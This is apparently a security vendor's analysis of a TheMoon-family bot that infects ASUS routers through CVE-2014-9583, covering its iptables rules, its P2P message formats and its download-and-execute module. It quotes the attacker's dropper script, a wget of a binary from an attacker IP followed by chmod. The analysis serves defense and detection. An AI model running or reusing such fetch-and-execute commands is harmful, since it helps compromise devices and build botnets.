In the post “Home Routers - New Favorite of Cybercriminals in 2016”, we discussed the active detection of vulnerability CVE-2014-9583 in ASUS routers since June of this year. In this post we will dissect a bot installed on the affected ASUS routers.
The following figure shows attack traffic captured through Wireshark.
Figure 1 Exploitation of CVE-2014-9583
Below is the content of file nmlt1.sh downloaded from hxxp://22.214.171.124:80/.
rm -f .nttpd
wget -O .nttpd http://126.96.36.199/.nttpd,17-mips-le-t1
chmod +x .nttpd
The vulnerable ASUS router will download and execute the binary file .nttpd from the attacker controlled website. The following figure shows its MD5 hash and file attributes:
Figure 2 md5sum and file attributes
A simple search shows that this bot was analyzed here. However, that analysis was based on sample MD5: c44f2d8ad37c18ea84a99db584d6992d, and some parts are misleading, so we want to share our updated findings in this post.
This bot belongs to the TheMoon family of malware, which shares the following program structure.
Figure 3 Program structure of TheMoon family
The differences between the family members are mainly located in functions os_init and run_modules.
This bot inserts the following eight iptables rules in function os_init.
Figure 3 iptables rules
The first rule stops other attackers from exploiting the ASUS vulnerability CVE-2014-9583, while the second one stops other attackers from exploiting the Linksys Unauthenticated Remote Code Execution vulnerability.
All the rest ensure that the attacker has access to this router. We will talk about hard-coded peers later in this post.
In the function run_modules, this bot launches three modules: “clk,” “net” and “dwl.” Let’s analyze them one by one.
This module launchs two threads. The first one calculates the running time while the second one maintains the time. This bot queries public NTP servers for the UTC time, as shown in the following figure.
Figure 4 Hard-coded NTP servers
The following figure shows an NTP request sent by this bot, and the response from the public NTP server.
Figure 5 NTP request and response
We don’t believe that these hard-coded IP addresses are C&C servers, as was claimed here.
If the NTP query fails, the bot will instead use the local time.
This module adds an iptables rule to open UDP port 5143, and then creates a thread which is responsible for P2P communication. It is worth mentioning that the supported message types are variant-specific, and usually different port numbers are used for communication.
This bot supports following three types of message.
- Register message
- RegisterTo message
- FetchCommand message
Every message contains a header and a body. All these messages share the following header structure:
Offset Size Description
0 1 Body length
1 1 Message Type
2 1 TTL
3 1 0x8F (variant specific)
For every received message, the bot decreases the TTL by one, and forwards the message to its peers if the result is not zero. The following figure demonstrates this behavior.
Figure 6 Forwarded message to its peers
- Register message
The type value of this message is 0. The bot sends this message to hard-coded peers after launching three modules successfully.
Figure 7 register to hard-coded peers
As you may remember, iptables rules are installed to allow access to these hard-coded peers. The following figure shows the traffic sent to hard-coded peers:
Figure 8 Register message
The message body is comprised of two double words: The first one is 0x6d6163f4 (variant specific) and the second is the property value of this peer. The bot adds the sender as its peer after receiving this message. This bot supports 0x64 peers at maximum.
The type value of this message is zero as well, but the message body is 12 bytes long. If the third double word is not zero, this bot sends a register message to a specified IP. Otherwise, it sends the register message to the sender. The following figure shows a RegisterTo message received by the bot.
Figure 9 RegisterTo message
The type value of this message is one. The following is the structure of the message body.
Offset Size Description
0 4 Peer IP address
4 4 Command id
8 4 Command size (Maximum 0x19001)
12 n file name(n<=8)
The following figure shows a FetchCommand message received by this bot.
Figure 10 FetchCommand message
If the sender is its peer, the bot stores the message in the following structure for the dwl module:
This module creates a thread which is responsible for handling the PendingCommand information created by the net module. This bot connects to TCP port 4543 of the designated IP and sends it the required file name and command id. The following figure shows the traffic captured through Wireshark:
Figure 11 Command request
The designed IP is supposed to return the requested file. The bot stores the response in the specified file and executes it. The following figure shows a sequence of calls that create and execute the file received:
Figure 12 download and execute command
While we were unable to download a command file for analysis at the time of this post, based on the file name and size we monitor, they should be the TheMoon family members.
The TheMoon family was first discovered by SANS ISC in 2014. This family targets routers and installs malware by exploiting their vulnerabilities. This bot is used on ASUS and Linksys routers based on their hard-coded iptables rules.
We also discovered that its P2P communication is not as mature as its peers on PCs. For example, instead of using digital signing, the botmaster uses iptables to ensure only he can command the bots. Unfortunately, or fortunately, these rules can be bypassed. In addition, the communication is not encrypted, which leads to easier analysis and detection.
Fortinet released following detections for this bot: